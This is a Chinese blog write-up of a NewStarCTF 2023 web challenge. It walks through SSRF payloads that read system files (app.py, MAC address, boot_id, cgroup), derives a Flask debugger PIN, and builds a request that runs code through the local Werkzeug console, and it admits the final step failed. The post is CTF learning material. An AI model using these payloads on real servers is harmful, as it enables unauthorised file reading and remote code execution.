每周练手-[NewStarCTF 2023 公开赛道]pppython?

它首先检查请求中的 "hint" 参数是否等于 ["your?", "mine!", "hint!!"](以数组的形式)。如果相等,就会发送一个HTTP响应头,并执行系统命令 "ls / -la" 来列出根目录的文件,之后退出。

所以构造出来的参数是?hint[0]=your?&hint[1]=mine!&hint[2]=hint!!

发现是需要root权限才能查看,现在权限不能查看flag。但是我们发现了app.py。我们可以使用ssrf查看app.py的内容。

?url=file:///app.py&lolita[]=

其实这里我们就可以伪造session拿到flag,但是我们没有cookie,无法伪造session。

但是我们发现debug开启监听1314端口。我们可以通过计算Pin码进入调试模式。解释一下pin码是在开启debug模式下,进行代码调试模式所需的进入密码。

pin码的生成可以看看这个大佬说的。

关于ctf中flask算pin总结_ctf web 在运行服务器的shell的标准输出上找到打印出来的pin-CSDN博客

总结是要六要素

1.username 启动这个Flask的用户
2.modname 默认flask.app
3.appname 默认Flask
4.moddir flask目录下面app.py的绝对路径,可以通过报错拿到
5.uuidnode mac地址的十进制表达
6.machine_id 机器码

1.我们得知用户是root

2.默认flask.app

3.Flask

4.各种方法试了一下,反正我是没有得到报错出来的答案。试一试默认的路径吧。

/usr/local/lib/python3.8/site-packages/flask/app.py

5.mac地址,?url=file:///sys/class/net/eth0/address&lolita[]=

ce:95:05:d6:9b:3a    十进制后是  206149521415558

6.机器码

机器码分为两个部分,我们可以先读取/etc/machine-id,然后再接上/proc/self/cgroup。

幽默。

我们再试试另一个/?url=file:///proc/sys/kernel/random/boot_id。

7aa87637-021d-4b97-b47c-cf51e1a2824e

/proc/self/cgroup 只读取第一行,并以从右边算起的第一个/为分隔符

docker-f4def8cc7e4dbbce400d0b30b6b90fe29464e818a404561be81758f6c0b0985e.scope

然后拿计算pin值的脚本计算,脚本上面分享的那个博主里有就不再放了。

pin=549-149-762  Cookie=__wzdfbd1bef74f38556470cd=1709558016|0b7aa1ba2004

然后就是传参。

这里我们要去获取frm和s的值

  • frm如果没有报错信息的话值为0
  • s的值可以直接访问./console,然后查看源码的SECRET值

?url=http://localhost:1314/console&lolita[]=


s=1N8WyDmlDm9591B9BreE

/?lolita[]=Cookie=__wzdfbd1bef74f38556470cd=1709558016|0b7aa1ba2004&url=http://127.0.0.1:1314/console?%26__debugger__=yes%26pin=549-149-762%26cmd=print(2)%26frm=0%26s=1N8WyDmlDm9591B9BreE

但是我不知道哪一步做错了,在传参后始终得不到flag。

欢迎大家讨论!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值